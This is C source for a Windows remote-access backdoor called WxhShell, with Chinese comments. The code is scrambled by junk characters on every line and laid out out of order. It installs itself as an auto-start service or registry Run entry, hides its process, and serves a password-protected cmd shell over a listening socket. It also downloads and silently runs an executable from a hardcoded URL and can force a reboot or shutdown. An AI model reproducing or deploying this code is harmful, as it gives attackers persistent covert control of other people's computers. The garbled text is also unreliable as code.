    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `<U5z$^QTw  
    if(Boot(SHUTDOWN)) ?F_)-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H]&gW/=  
    else { Or8kp/d  
    closesocket(wsh); E$A3|rjnoN  
    ExitThread(0); 7CGyC[[T~  
    } z8"7u /4v{  
    break; gv|"OlB  
    } r{_>ldjq  
  // 获取shell E8ta|D  
  case 's': { nn+_TMu  
    CmdShell(wsh); u#@RM^738d  
    closesocket(wsh); 2z\e\I  
    ExitThread(0);  lq>AGw  
    break; ; b*i3*!g  
  } _[t8rl  
  // 退出 ?T!)X)A#  
  case 'x': { yz8jU*H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $,ikv?"L  
    CloseIt(wsh); 4t*so~  
    break; 2:SO_O4C  
    } 1& ^?U{  
  // 离开 +.kfU)6@  
  case 'q': {  U>a\j2I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Jxa4hM0  
    closesocket(wsh); Yf}xwpuLk  
    WSACleanup(); *z8|P#@  
    exit(1); 0^3+P%(o@  
    break; nS9wb1Zl  
        } _MuZ4tc  
  } 02=lsV!U  
  } r@kP*  
|ZiC`Nt  
  // 提示信息 2YlH}fnH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j.%K_h?V5  
} H C0w;MG)  
  } ?6"{!s{v  
%\Wf^6Y^  
  return; tU :EN;H  
} q%i-`S]}qL  
cBXWfv4  
// shell模块句柄 G8J*Wnwu[K  
int CmdShell(SOCKET sock) [0y$! f4  
{ E\U`2{^.  
STARTUPINFO si; 2oCkG~j  
ZeroMemory(&si,sizeof(si)); _zMgoc7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =Vw 5q},3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 69G`2_eKCp  
PROCESS_INFORMATION ProcessInfo; y7)(LQRE {  
char cmdline[]="cmd"; ]uQqn]+I!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mJ}opy!{;  
  return 0; = 1.9/hW  
} bt$)Xu<R  
y*23$fj(  
// 自身启动模式 k{I 01  
int StartFromService(void) :j^FJ@2_  
{ x@KZ ]  
typedef struct S DLvi!y  
{ B9,^mE#  
  DWORD ExitStatus; \tN-(=T  
  DWORD PebBaseAddress; E3aDDFDH  
  DWORD AffinityMask; &ldBv_  
  DWORD BasePriority; 8|%^3O 0X  
  ULONG UniqueProcessId; T~:|!`  
  ULONG InheritedFromUniqueProcessId; j+-P :xvP  
}   PROCESS_BASIC_INFORMATION; ,Lr<)p  
.6f%?oo  
PROCNTQSIP NtQueryInformationProcess; S* *oA 6  
_zWfI.o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T0zn,ej  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \S~Vx!9w  
XB59Vm0E=  
  HANDLE             hProcess; \Ae9\Jp8M  
  PROCESS_BASIC_INFORMATION pbi; YXo|~p;=Y  
Z\}K{#   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T~_/Vi  
  if(NULL == hInst ) return 0; uxaYCa?  
({WyDu&=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W ~f(::  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JM- t<.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \>QF(J [8  
c%m3}mrb  
  if (!NtQueryInformationProcess) return 0; U.!lTLjfLz  
!> }.~[M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wV\gj~U;P  
  if(!hProcess) return 0; d5 7i)=  
<FI-zca  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ma'FRt  
!V 2/A1?  
  CloseHandle(hProcess); Y5ZZ3Ati  
M-V&X&?j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z7GTaX$d  
if(hProcess==NULL) return 0; \;u@"  
qt%D'  
HMODULE hMod; b` Hz$8  
char procName[255]; 3I\n_V<  
unsigned long cbNeeded; 7\FXz'hA  
V-'K6mn;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fjk\L\1  
. \   
  CloseHandle(hProcess); Bw%Qbs0Q  
+5VLw  
if(strstr(procName,"services")) return 1; // 以服务启动 ^sN (  
8{`?= &%6  
  return 0; // 注册表启动 1$qh`<\  
} Tm_B^ W}  
b2b?hA'k  
// 主模块 <Rh6r}f  
int StartWxhshell(LPSTR lpCmdLine) r}[7x]sP  
{ Wjhvxk  
  SOCKET wsl; &nBa=Enf  
BOOL val=TRUE; J]f3CU,<N  
  int port=0; e@:sR  
  struct sockaddr_in door; _4^R9Bt  
EBz}|GY;  
  if(wscfg.ws_autoins) Install(); [(1c<b2r  
9z)5Mdf1j  
port=atoi(lpCmdLine); w?kJ+lmOQy  
dT,o=8fg  
if(port<=0) port=wscfg.ws_port; otggN:^Qw  
[kE."#  
  WSADATA data; 7i&:DePM'q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T^J>ZDA  
jReXyRmo({  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Xp0F [>h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 34\(7JO  
  door.sin_family = AF_INET; p-.n3AL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !uQPc   
  door.sin_port = htons(port); a5a($D  
UG=K|OXWJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "Ph^BU Ab  
closesocket(wsl); Na X   
return 1; ?QE,;QtpK  
} |2{wG 4  
@v}/zS  
  if(listen(wsl,2) == INVALID_SOCKET) { V5*OA??k<  
closesocket(wsl); \=_{na_  
return 1; Y ')x/H  
} 0}_[DAd6  
  Wxhshell(wsl); giz7{Ai  
  WSACleanup(); gz3pX#S  
{nLjY|*  
return 0; pAT7)Ch  
f bUr`~Y"  
} 7jdb)l\p=  
As>_J=8} 3  
// 以NT服务方式启动 ?lP':'P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E*+{t~  
{ XQw>EZdj_N  
DWORD   status = 0; eq U ME  
  DWORD   specificError = 0xfffffff; h: 9Zt0,  
#8)*1?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;Iq/l%vX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l+V>]?j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~6p[El#tS  
  serviceStatus.dwWin32ExitCode     = 0; CHz+814  
  serviceStatus.dwServiceSpecificExitCode = 0; _4g.j  
  serviceStatus.dwCheckPoint       = 0; eUg~)m5G  
  serviceStatus.dwWaitHint       = 0; e=.]F*:J  
ght$9>'n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T?X_c"{8M  
  if (hServiceStatusHandle==0) return; R=jI?p  
K.0:C`C  
status = GetLastError(); Hw4%uS==V  
  if (status!=NO_ERROR) 1YH+d0UGn  
{ MG.` r{5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Hro-d 1J7  
    serviceStatus.dwCheckPoint       = 0; <_7*67{  
    serviceStatus.dwWaitHint       = 0; P'_H/r/#  
    serviceStatus.dwWin32ExitCode     = status; 0\eIQp  
    serviceStatus.dwServiceSpecificExitCode = specificError; R6(oZph  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9g<7i  
    return; =zz ~kon9  
  } #"B\UN  
^jx7@LgS=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~;N^g4s  
  serviceStatus.dwCheckPoint       = 0; >Z5gSs0  
  serviceStatus.dwWaitHint       = 0; :\|SQKD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9E6_]8rl  
} `E>1>'  
*6 >.!&  
// 处理NT服务事件,比如:启动、停止 >G%o,9i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dUhY\v oQ  
{ ajEjZ6  
switch(fdwControl) @<elq'2  
{ Fx2bwut.K  
case SERVICE_CONTROL_STOP: yPal<c  
  serviceStatus.dwWin32ExitCode = 0; 3qf Ym}d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sc}~8T  
  serviceStatus.dwCheckPoint   = 0; Sn|BlXrey  
  serviceStatus.dwWaitHint     = 0; GaK-t*Q  
  { Ck) * &  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qHrc9fB  
  } R21b!Pd\  
  return; Kkm>e{0)AY  
case SERVICE_CONTROL_PAUSE: ++^l]8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B&n<M]7  
  break; ]jo1{IcI  
case SERVICE_CONTROL_CONTINUE: 0E3[N:s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xjKR R?  
  break; G U( _  
case SERVICE_CONTROL_INTERROGATE: `)_dS&_\  
  break; r2,.abo  
}; N(Fp0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tu).K.p:  
} AHXSt  
LhA/xf  
// 标准应用程序主函数 pu2 tY7J a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f,kZ\Ia'r  
{  ']2E {V  
mj W8 Q\D  
// 获取操作系统版本 aWR}R>E  
OsIsNt=GetOsVer(); (KDD e}f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J1C3&t}  
s T}. v*  
  // 从命令行安装 e,W%uH>X  
  if(strpbrk(lpCmdLine,"iI")) Install(); zem8G2#c  
"eB$k40-  
  // 下载执行文件 uM_wjP  
if(wscfg.ws_downexe) { *%%g{ 3$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VHIOwzC  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0Ziw_S\d&s  
} P\1L7%*lU  
nU7>uU  
if(!OsIsNt) { .y!<t}  
// 如果时win9x,隐藏进程并且设置为注册表启动 9_Be0xgJ3^  
HideProc(); 2AT5  
StartWxhshell(lpCmdLine); H|3:6x  
} Uq^#riq  
else zh8nc%X{  
  if(StartFromService()) Vex{.Vh,"  
  // 以服务方式启动 old(i:2  
  StartServiceCtrlDispatcher(DispatchTable);  : y%d  
else g/CSG IIT  
  // 普通方式启动 S[PE$tYT#t  
  StartWxhshell(lpCmdLine); 0jy2H2  
>0ow7Uw;  
return 0; ]>=}*=  
} /|C*  
-zOdU}91Ao  
bk;?9%TW  
H[,i{dD  
=========================================== f4 P8Oz  
I|gB@|_~  
|}BL F  
F\KjEl0  
bDL,S?@  
|H;F7Y_  
" %4et&zRC  
J^SdH&%Z  
#include <stdio.h> a_f~N1kq  
#include <string.h> cW@Zd5&0S  
#include <windows.h> +ElfZ4  
#include <winsock2.h> hT`J1nNt  
#include <winsvc.h> O}-jCW;K  
#include <urlmon.h> zzTfYf)  
e2s]{obf  
#pragma comment (lib, "Ws2_32.lib") HK,cJah q  
#pragma comment (lib, "urlmon.lib") }wr{W:j  
*>7>g"  
#define MAX_USER   100 // 最大客户端连接数 m% -g~q  
#define BUF_SOCK   200 // sock buffer f$e[u E r  
#define KEY_BUFF   255 // 输入 buffer 7puFz4+f  
ObVGV  
#define REBOOT     0   // 重启 CZud& <  
#define SHUTDOWN   1   // 关机 \2N!:%k  
2@'oe7E  
#define DEF_PORT   5000 // 监听端口 TC!Yb_H}gN  
U>=Z- T  
#define REG_LEN     16   // 注册表键长度 FGigbtj`  
#define SVC_LEN     80   // NT服务名长度 52:HNA\E/  
:61Tun  
// 从dll定义API EMwS1~3dD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ! h"Kq>9 T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,J,/."Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1+szG1U=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); = RA /  
+)!YrKuu  
// wxhshell配置信息 WIC/AL'  
struct WSCFG { UQ)W%Y;[0  
  int ws_port;         // 监听端口 PF)jdcX  
  char ws_passstr[REG_LEN]; // 口令 j9eTCJqB  
  int ws_autoins;       // 安装标记, 1=yes 0=no -+(jq>t  
  char ws_regname[REG_LEN]; // 注册表键名 [#-b8Cu  
  char ws_svcname[REG_LEN]; // 服务名 i UCXAWP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D!{Y$;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "& ])lz[u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CR8/Ke  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1"zDin!A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @e(o129  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +giyX7BPJ  
{@6= Q 6L  
}; G`SUxhCk  
K0-ypU*P  
// default Wxhshell configuration HePUWL'  
struct WSCFG wscfg={DEF_PORT, >80;8\  
    "xuhuanlingzhe", HW3 }uP\c  
    1, LLk(l#K*  
    "Wxhshell", 77C'*tt1]  
    "Wxhshell", o3Yb7h9  
            "WxhShell Service", .`HYA*8_  
    "Wrsky Windows CmdShell Service", E27vR 7  
    "Please Input Your Password: ", !\zWF  
  1, jN{Xfjmfv  
  "http://www.wrsky.com/wxhshell.exe", sD{Wxv  
  "Wxhshell.exe" F_w Z"e6  
    }; x2OaPlG,&V  
N4^-`  
// 消息定义模块 m? eiIrMW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q$I;dOCJ,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q*U*Fu+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $Z.7zH  
char *msg_ws_ext="\n\rExit."; @Z*W  
char *msg_ws_end="\n\rQuit."; Dd'm U  
char *msg_ws_boot="\n\rReboot..."; >.Chl$)<  
char *msg_ws_poff="\n\rShutdown..."; E(O74/2c8  
char *msg_ws_down="\n\rSave to "; oe%} ?u  
$@z5kwx:P  
char *msg_ws_err="\n\rErr!"; .z]Wyx&/U  
char *msg_ws_ok="\n\rOK!"; ^V?<K.F  
^8 zR  
char ExeFile[MAX_PATH]; rf $QxJ  
int nUser = 0; o)Iff)m$  
HANDLE handles[MAX_USER]; $;1#To  
int OsIsNt;  3,p]/Z_  
+MR.>"  
SERVICE_STATUS       serviceStatus; 8$")%_1]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9!6f-K  
j/R[<47  
// 函数声明 f[@77m*  
int Install(void); XG}C+;4Aw  
int Uninstall(void);  z_F-T=_  
int DownloadFile(char *sURL, SOCKET wsh); kDEPs$^  
int Boot(int flag); #xho[\  
void HideProc(void); (61EDKNd9  
int GetOsVer(void); *^g:P^4  
int Wxhshell(SOCKET wsl); )Q1"\\2j0  
void TalkWithClient(void *cs); 6g 5#TpCh  
int CmdShell(SOCKET sock); ^A!Qc=#z}  
int StartFromService(void); ;T"zV{;7BR  
int StartWxhshell(LPSTR lpCmdLine); HBy[FYa4  
1,6}_MA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @W s*QTlV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n,jKmA  
hlV=qfc  
// 数据结构和表定义 igkYX!0#8O  
SERVICE_TABLE_ENTRY DispatchTable[] = 1Yq?X:  
{ 2Z-ljD&  
{wscfg.ws_svcname, NTServiceMain}, !Y$h"<M  
{NULL, NULL} O~T@rX9f  
}; k`So -e-  
CLRiJ*U  
// 自我安装 ZIf  
int Install(void) h}*/Ge]aM  
{ /j4P9y^]=  
  char svExeFile[MAX_PATH]; ".W8)  
  HKEY key; <vUbv   
  strcpy(svExeFile,ExeFile); Z3#P,y9@  
U}6B*Xx'  
// 如果是win9x系统,修改注册表设为自启动 6ys &zy  
if(!OsIsNt) { iI\oz&!vH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gnFr}L&j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C9~52+S  
  RegCloseKey(key); ",^Mxm{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \DYWy*pe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GNgKo]u  
  RegCloseKey(key); W ?qmp|YD  
  return 0; "Om=N@?  
    } q@Zn|NR  
  } 9f2UgNqe9  
} z2MWN\?8  
else { :# .<[  
u])b,9&En  
// 如果是NT以上系统,安装为系统服务 W~zbm]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TOkp%@9/  
if (schSCManager!=0) lhYe;b(  
{ IAw{P08+  
  SC_HANDLE schService = CreateService Hw7;;HK 7  
  ( B P2=2)Q  
  schSCManager, Ka[t75~;  
  wscfg.ws_svcname, QIB\AAclO  
  wscfg.ws_svcdisp, ]QpWih00V  
  SERVICE_ALL_ACCESS, 87BHq)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tZ'|DCT  
  SERVICE_AUTO_START, wCr(D>iM  
  SERVICE_ERROR_NORMAL, fuWO*  
  svExeFile, W yB3ls~  
  NULL, ;*Ivn@L  
  NULL, oE+R3[D?r  
  NULL, 2^y ^q2(r  
  NULL, <}E!w_yi  
  NULL pnjXf.g"O  
  ); C1 jHz  
  if (schService!=0) /DK"QV!]s  
  { mzeY%A<0^  
  CloseServiceHandle(schService); bL'aB{s  
  CloseServiceHandle(schSCManager); P+s !|7'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nSW=LjrO~<  
  strcat(svExeFile,wscfg.ws_svcname); eCqHvMp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O!P H&;H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?98("T|y;  
  RegCloseKey(key); :[O 8  
  return 0; ()5[x.xK@  
    } X;i~ <Tq  
  } EH256f(&  
  CloseServiceHandle(schSCManager); gu0j.XS^  
} \9cG36  
} 6G #}Q/  
:+qF8t[L  
return 1; [U5\bX@$  
} v*r7Zz6l  
ToJ$A`_!`  
// 自我卸载 z.kvX+7'  
int Uninstall(void) (BTVD,G  
{ 7s/u(~d)  
  HKEY key; .@(6Y<dN  
Y"~gw~7OD  
if(!OsIsNt) { ^lA=* jY(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [P&7i57  
  RegDeleteValue(key,wscfg.ws_regname); mS^tX i5hg  
  RegCloseKey(key); }% `.h"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #~7ip\Uf[  
  RegDeleteValue(key,wscfg.ws_regname); Bwa'`+bC  
  RegCloseKey(key); KVn []@#  
  return 0; i+p^ ^t\  
  } ,cB\  
} +z9Q-d%O  
} Q4+gAS9  
else { Y~L2  
}s(N6a&(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~\Hc,5G  
if (schSCManager!=0) EdlTdn@A  
{ <kGU,@6PF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3QG7C{  
  if (schService!=0) hWD;jR  
  { IFF92VD&  
  if(DeleteService(schService)!=0) { Hea;?4Vg  
  CloseServiceHandle(schService); 77\] B  
  CloseServiceHandle(schSCManager); 8,C*4y~  
  return 0; y~q8pH1  
  } T)H{  
  CloseServiceHandle(schService); H5Z$*4%G  
  } q35f&O;  
  CloseServiceHandle(schSCManager); 7]blrN]  
} 4)A#2  
} , Wk?I%>  
=<?+#-;p  
return 1; v^#~98g]  
} ti I.W  
wB!Nc Y\p  
// 从指定url下载文件 WU71/PYm`  
int DownloadFile(char *sURL, SOCKET wsh) a-=8xs'  
{ U56G.  
  HRESULT hr; +VO-oFE|  
char seps[]= "/"; L&u$t}~)  
char *token; @cFJeOC|  
char *file; G+X Sfr  
char myURL[MAX_PATH]; xlA$:M&  
char myFILE[MAX_PATH]; vUohtS*  
3Nq N \5B:  
strcpy(myURL,sURL); _*1`@  
  token=strtok(myURL,seps); L)@?e?9  
  while(token!=NULL) M<kj_.  
  { B56L1^ 7  
    file=token; !,6c ~ w  
  token=strtok(NULL,seps); 1Cv-  
  } z([ v%zf  
7f0lQ  
GetCurrentDirectory(MAX_PATH,myFILE); zi]\<?\X  
strcat(myFILE, "\\"); &Low/Y'.jJ  
strcat(myFILE, file); s'%R  
  send(wsh,myFILE,strlen(myFILE),0); 8W,Jh8N6  
send(wsh,"...",3,0); FVaQEMZ^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P:k>aHnW  
  if(hr==S_OK)  ?zw|kl  
return 0; X voo=  
else vgfcCcZ_iZ  
return 1; D-5VC9{  
0w&27wW  
} ki?S~'a  
d$ x"/A]<  
// 系统电源模块 gm igsXQ  
int Boot(int flag) Z -W(l<  
{ >[*8I\*@n  
  HANDLE hToken; {L/tst#C  
  TOKEN_PRIVILEGES tkp; ;C3US)j  
VGpWg rmHk  
  if(OsIsNt) { O(D ~_O.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2O.i\cH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ] 6TATPIr  
    tkp.PrivilegeCount = 1; ms*(9l.hOK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I %sFqh>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U%q7Ai7  
if(flag==REBOOT) { = kJ,%\E`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :h\Q;?  
  return 0; ?o81E2TJO  
} gW)3e1a  
else { 95A1:A^t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Xq_5Qv  
  return 0; YjxF}VI~<  
} 3%E }JU?MM  
  } +a^nlW9g  
  else { bN]+_ mF  
if(flag==REBOOT) { '8!Y D?n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g# Sl %Y  
  return 0; %s|}Fz->  
} 5=v}W:^v.  
else { RS)tO0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '98VYCL  
  return 0; kEOS{C%6R  
} "B3N* R(["  
} JBE!j-F  
M>~Drul  
return 1; `$,GzS(  
} y9q8i(E0  
LBM ^9W  
// win9x进程隐藏模块 :.Jf0  
void HideProc(void) +av@$}  
{ W6?pswQ  
v"b+$*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }1Gv)l7  
  if ( hKernel != NULL ) Cd,jDPrw  
  { eJxw) zd7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qf!p 9@4F[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YH vLGc%  
    FreeLibrary(hKernel); ^p[rc@+  
  } ?OcJ )5C4  
UTH*bL5/J2  
return; kCR_tn 4  
} o4m\~as)Y  
k5:G-BQ:  
// 获取操作系统版本 9 Vkb>yFX'  
int GetOsVer(void) Nl^;A> <u  
{ $ M`hh{ -  
  OSVERSIONINFO winfo; M?Dfu .t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DI:]GED" =  
  GetVersionEx(&winfo); NdMb)l)m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nuk*.Su  
  return 1; =Xi07_8Ic<  
  else -I8=T]_D  
  return 0; tnH2sHby  
} $*e2YQdLo  
B* ?]H*K  
// 客户端句柄模块 DJ'zz&K  
int Wxhshell(SOCKET wsl) coW:DFX  
{ &;^YBW:I  
  SOCKET wsh; }=<  
  struct sockaddr_in client; <0b)YJb4M  
  DWORD myID; c~z82iXNO  
l`oZ) ?ur  
  while(nUser<MAX_USER) )bS yB29S  
{ ~Sj9GxTe  
  int nSize=sizeof(client); sDPs G5q<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |TS>h wkI  
  if(wsh==INVALID_SOCKET) return 1; '[AlhBX  
w>pq+og&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \-h%O jf4  
if(handles[nUser]==0) `uOT+B%R  
  closesocket(wsh); \MyLc/Gh5  
else >AVVEv18  
  nUser++; t;W0"ci9  
  } \.MR""@y`{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `[f*Zv w  
L 6 c 40  
  return 0; > V-A;S:  
} [@VP?74  
*/sS`/Lx  
// 关闭 socket ojcA<60 '  
void CloseIt(SOCKET wsh) 5rw 7;'  
{ dP3CG8w5  
closesocket(wsh); i3tg6o4C  
nUser--; GeyvId03H  
ExitThread(0); aI P  
} EMY/~bQW  
idLWe9gC  
// 客户端请求句柄 .nrMfl_  
void TalkWithClient(void *cs) q]T1dz?  
{ z[b@ V  
iW$_zgN  
  SOCKET wsh=(SOCKET)cs; d' !]ZWe  
  char pwd[SVC_LEN]; S0zD"T  
  char cmd[KEY_BUFF]; ^uKwB;@  
char chr[1]; |Luqoa  
int i,j; 3@kf@ Vf  
Bmr>n6|  
  while (nUser < MAX_USER) { uGwm r  
6a[}'/  
if(wscfg.ws_passstr) { +O8%Hm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cz >V8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /)YNs7gR  
  //ZeroMemory(pwd,KEY_BUFF); , ]bhyp  
      i=0; :ci5r;^  
  while(i<SVC_LEN) { \hTm)-FP  
&5\iM^  
  // 设置超时 dG@%jD)  
  fd_set FdRead; %RTBV9LIXr  
  struct timeval TimeOut; <^&ehy:7y  
  FD_ZERO(&FdRead); XW[j!`nlk  
  FD_SET(wsh,&FdRead); `F-/QX[:  
  TimeOut.tv_sec=8; Oxm>c[R  
  TimeOut.tv_usec=0; LhA*F[6$M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (up~[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w mn+  
%'b M){  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /a{la8Ni  
  pwd=chr[0]; * aN  
  if(chr[0]==0xd || chr[0]==0xa) { ,k24w7K%d  
  pwd=0; }q_<_lQ  
  break; 2M.fLQ?  
  } Kz~ps 5  
  i++; j]{_s"O  
    } :*I# n  
Y\D!/T  
  // 如果是非法用户,关闭 socket n`#tKwWHYx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H=<S 9M  
} ND'E8Ke pq  
BL0 {HV!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z_$%.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C^O VB-  
=O&%c%~q  
while(1) { $mu^G t  
*1 uKr9  
  ZeroMemory(cmd,KEY_BUFF); o*-)Tq8GHE  
U_M$#i{_  
      // 自动支持客户端 telnet标准   '}9x\3E  
  j=0; hpHr\g  
  while(j<KEY_BUFF) { #*D)Q/k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |t^E~HLm,  
  cmd[j]=chr[0]; y^;#&k!  
  if(chr[0]==0xa || chr[0]==0xd) {  DGRXd#  
  cmd[j]=0; )B T   
  break; m}C>ti`VD  
  } 1ct;A_48  
  j++; /$i.0$L  
    } <NR#Y%}-V  
bfFeBBi  
  // 下载文件 zZ7;jyD  
  if(strstr(cmd,"http://")) { b+%f+zz*h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L9r8BK;  
  if(DownloadFile(cmd,wsh)) J*r*X.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -f3p U:G8  
  else w{I vmdto  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^hG-~z<  
  } i5en*)O8  
  else { @D.}\(  
lAS#874dE  
    switch(cmd[0]) { 9Z|jxy  
  rx'RSo#1O  
  // 帮助 !`k1:@NZ  
  case '?': { _Us#\+]_:  
